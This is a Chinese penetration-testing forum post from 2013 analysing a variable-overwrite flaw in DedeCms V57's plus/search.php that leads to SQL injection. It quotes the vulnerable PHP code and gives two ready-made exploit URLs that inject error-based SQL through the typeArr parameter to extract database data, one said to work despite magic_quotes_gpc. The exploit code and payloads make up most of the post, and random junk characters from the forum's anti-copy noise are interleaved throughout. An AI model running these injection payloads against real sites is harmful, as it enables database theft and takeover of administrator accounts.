中国网络渗透测试联盟
标题:
DedeCms V57 plus/search.php文件SQL注射
[打印本页]
作者:
admin
时间:
2013-1-19 08:18
标题:
DedeCms V57 plus/search.php文件SQL注射
微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.
; z& |) H1 g* C) J2 j6 b H
作者:
c4rp3nt3r@0x50sec.org
+ X0 x# X( w- r( L2 A3 K4 A/ P! e
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
8 m& h; l7 ]9 k) b% W7 R1 k: E; c
# s0 j8 ?3 J* Y1 p6 Z
黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.
7 Q$ G' b% v: S. \, p2 s
! {; y+ }( \( [" ^+ |; c
============
' \& D& W: X9 K: v, {5 P
' o* c* i# T1 u
* }0 k( N3 O$ ?( J# u0 _2 s$ ?
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
5 b* Y& S- r4 ^2 I" l& Y2 p) J
?% p# M% x( G# U6 o0 `
require_once(dirname(__FILE__).”/../include/common.inc.php”);
* S. G/ B7 B2 @; S8 B
require_once(DEDEINC.”/arc.searchview.class.php”);
+ P! K, s9 v" q
# l0 z! e% D% y4 l& S. W
$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;
1 z( }' {9 g" b4 {
$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;
/ t$ W4 a0 w/ H: w3 b) K# s
$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;
& X# ]4 ?( `! ]0 A+ G
$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;
6 ]( J$ E! }9 o; Y1 _/ ~
$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;
P! |5 D. k2 p- Z/ X1 Y* @
. r# U' J4 { _" L6 _3 _, N
if(!isset($orderby)) $orderby=”;
! M/ w' S6 |* s- r
else $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);
( {4 U: A/ |8 ^: f: u1 d
2 M: {$ N$ ~% z( d- f& l/ z! w
1 z* D6 j" f, {; X) W
if(!isset($searchtype)) $searchtype = ‘titlekeyword’;
0 M7 d/ ]! r7 T( F1 V h- F7 \
else $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);
+ G; ] m3 D) a! }8 x3 Q& Q
3 x2 @6 Z+ F2 |
if(!isset($keyword)){
/ t5 G7 L$ K3 f2 z8 r
if(!isset($q)) $q = ”;
- \" v L% u F; ~& p( A! x5 B
$keyword=$q;
3 g Q% Z: r$ ~2 x
}
. d6 o+ Z2 ?* m7 l5 }
1 N' Q1 c* [$ S5 Y
$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));
2 }0 n8 ]% c( o
7 X8 _( u' P `. Q% `
//查找栏目信息
1 K# v- x/ U" T$ `7 E E' h! X
if(empty($typeid))
+ |: |- l- \& h$ s$ c+ i9 w
{
: H( Z8 j+ a4 o8 w: h5 ~
$typenameCacheFile = DEDEDATA.’/cache/typename.inc’;
0 U! P* E; J. ]4 h% g; S5 C
if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )
7 x" B/ H8 }/ L1 }2 h. s' M
{
8 I* V( h% }: l: ~2 ?
$fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);
+ D9 v) Q. o6 ^" M, X
fwrite($fp, “<”.”?php\r\n”);
, a0 J% ?* J- v& u; P! e9 ^/ ]
$dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);
# b8 u5 k0 d2 o5 z% E" J8 j
$dsql->Execute();
: w% _; M9 y3 u$ P$ l3 v5 O1 D
while($row = $dsql->GetArray())
0 l% k/ [4 y& x: A& o) f
{
j5 Q: H8 V: ~' ~; O$ e7 K
fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);
/ e7 T* g* n) [- L' ?6 }5 g% ?5 p
}
# y& @/ i" s5 d0 j
fwrite($fp, ‘?’.'>’);
7 t2 c2 B) o f' T
fclose($fp);
5 k9 u3 A3 W( }1 x' `3 H4 t: L& j
}
2 Q' _+ p$ x0 Q/ {7 k8 H8 w
//引入栏目缓存并看关键字是否有相关栏目内容
5 V. P' b; Z% Z% C6 S1 ^- Z V
require_once($typenameCacheFile);
! O2 N3 t' }9 y
//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个
6 _" H; b3 e9 m2 S( Z6 t
//
# L6 h8 r7 j x* Z( l3 S* m8 g
if(isset($typeArr) && is_array($typeArr))
0 z! f/ s" x% Z( M
{
( P9 J. F$ j3 b. e
foreach($typeArr as $id=>$typename)
( E, f2 U- z$ w/ R
{
3 H r, ]: `! _9 @
$ `4 H, ?3 X6 u( h2 L7 Q" N
<font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font> //这个地方要绕过
7 m& v! H' D, q
if($keyword != $keywordn)
& e6 F, f7 t* j
{
! k0 r0 q5 ~/ H4 Y# W: m4 L
$keyword = $keywordn;
) r" z4 H' j6 P6 P
<font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设
2 o' v8 X5 y& z1 I; ^# g; B1 |7 v
break;
+ b/ f: i, |! J1 K* |( }
}
. O) ?+ O0 K+ |) U3 q) E! u, L
}
8 N0 _4 N: g( G
}
) c. x3 T8 H% @
}
* M, V# M: I+ _ F% j: W
然后plus/search.php文件下面定义了一个 Search类的对象 .
5 n) ^, k7 B% X- g9 Z
在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.
5 D$ z" h' i2 z0 Z9 N( D
$this->TypeLink = new TypeLink($typeid);
+ b% o8 v+ S1 w( l
6 E" Y9 F4 x2 u" S2 ?0 U
TypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.
. o& _' M+ ~4 h- ~& I
1 l9 l" Q t; C; P) J
class TypeLink
. l. x Y9 f0 h1 C
{
) d' }. E: o3 ^( z U) n
var $typeDir;
3 P) R; K7 U% j" x% A7 d
var $dsql;
9 w4 L3 R( N- R6 o
var $TypeID;
$ \, F$ @- n; t& x0 ?, o' D# B
var $baseDir;
. B9 w% ?; O0 ~& r
var $modDir;
( ^) }1 o' Y7 M. e+ d6 h
var $indexUrl;
& K, s' ~% _! Y2 P$ L: x
var $indexName;
7 M6 D& e( L9 g
var $TypeInfos;
9 c2 S2 G z# E+ _. f
var $SplitSymbol;
8 R3 T5 m5 J$ d' K7 h4 Q) n: q* r( R
var $valuePosition;
' j U* ^) p D% t
var $valuePositionName;
& X& ]) ?% W( S* j+ j% d
var $OptionArrayList;//构造函数///////
" U! f& q+ c, y8 j
//php5构造函数
" F. n8 x# a7 o( v% B, [& f4 ^
function __construct($typeid)
9 C- y% n2 f2 V/ Y
{
, X6 j: ~: U5 q. Z- z3 W
$this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];
4 Q, x% V% R* l- r* ^5 Z1 H
$this->indexName = $GLOBALS['cfg_indexname'];
, D0 p* ?. n- O3 u v& Q% B
$this->baseDir = $GLOBALS['cfg_basedir'];
% v2 }* f# S: ^& q2 O
$this->modDir = $GLOBALS['cfg_templets_dir'];
& A, d' T; c3 _1 @3 E
$this->SplitSymbol = $GLOBALS['cfg_list_symbol'];
2 R, K2 k4 c' Q$ Y, }# ]. ]% n
$this->dsql = $GLOBALS['dsql'];
! b, a2 K( @) u1 t- X0 ?! L
$this->TypeID = $typeid;
; m5 a# C/ m% E
$this->valuePosition = ”;
- ~- H V$ n/ J- R9 t
$this->valuePositionName = ”;
5 _2 o; h" Y$ j6 t2 _
$this->typeDir = ”;
. M% C( P( t, g2 W T+ M
$this->OptionArrayList = ”;
: m4 ?- V4 E, ]' Q- u+ `8 S
* n) y2 N' z% N
//载入类目信息
8 t2 S" d1 l8 {# ?& r1 K, p' O7 h
1 X1 Y2 J4 U; M
<font color=”Red”>$query = “SELECT tp.*,ch.typename as
3 z# C( i: t" X/ S% Y+ O# @1 \
ctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join
: N* M+ n4 D, g) Q6 o
`#@__channeltype` ch
- z. R9 _4 p3 F) I
on ch.id=tp.channeltype WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿
0 E4 }& a5 [4 U. z% k7 B
7 v9 @, ?. V7 y+ \" n3 s+ R
if($typeid > 0)
1 E$ W7 z& y' j! i0 N! Q$ C) f
{
5 h' M7 f6 s1 D' P
$this->TypeInfos = $this->dsql->GetOne($query);
2 L0 ?# `( W% J
利用代码一 需要 即使magic_quotes_gpc = Off
; r+ m" i% e8 B3 f8 }
) v2 s, y% [5 ]2 j
www.political-security.com
/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title
P$ D( `9 l( M) p9 {
) s9 u5 o; [" }6 Z/ x4 f, w: [' |
这只是其中一个利用代码… Search 类的构造函数再往下
3 w5 m+ P( r5 w0 I
. B- ]& y9 h0 k8 D# V, w
……省略
_9 T/ H) O- t8 |) x+ _
$this->TypeID = $typeid;
. r% a# y& r2 a: |' b7 t. v& d
……省略
4 H7 a: P( U+ E7 {! E
if($this->TypeID==”0″){
R0 _1 f' H5 z/ U
$this->ChannelTypeid=1;
, v4 L0 `& u1 p0 }" z
}else{
' Q& Z( H5 w9 I6 [$ T3 n( ]
$row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲
- u6 Y9 A9 z; d$ v" n8 @
//现在不鸡肋了吧亲…
, o4 ^5 o: H( H# u; w9 ?0 d
$this->ChannelTypeid=$row['channeltype'];
& e+ h( j4 ]- M3 G3 ?1 j
% c9 `+ }, A r
}
! r" f8 E' R O
利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.
5 B8 q Q. N* t3 Y* M# [
% C/ H2 L. q5 O5 \) Y
www.political-security.com
/plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title
4 L$ w5 g$ u' o1 b
7 o# A% P I, P# M" _
如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站
% M( C. g. }; |$ V3 J& U
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2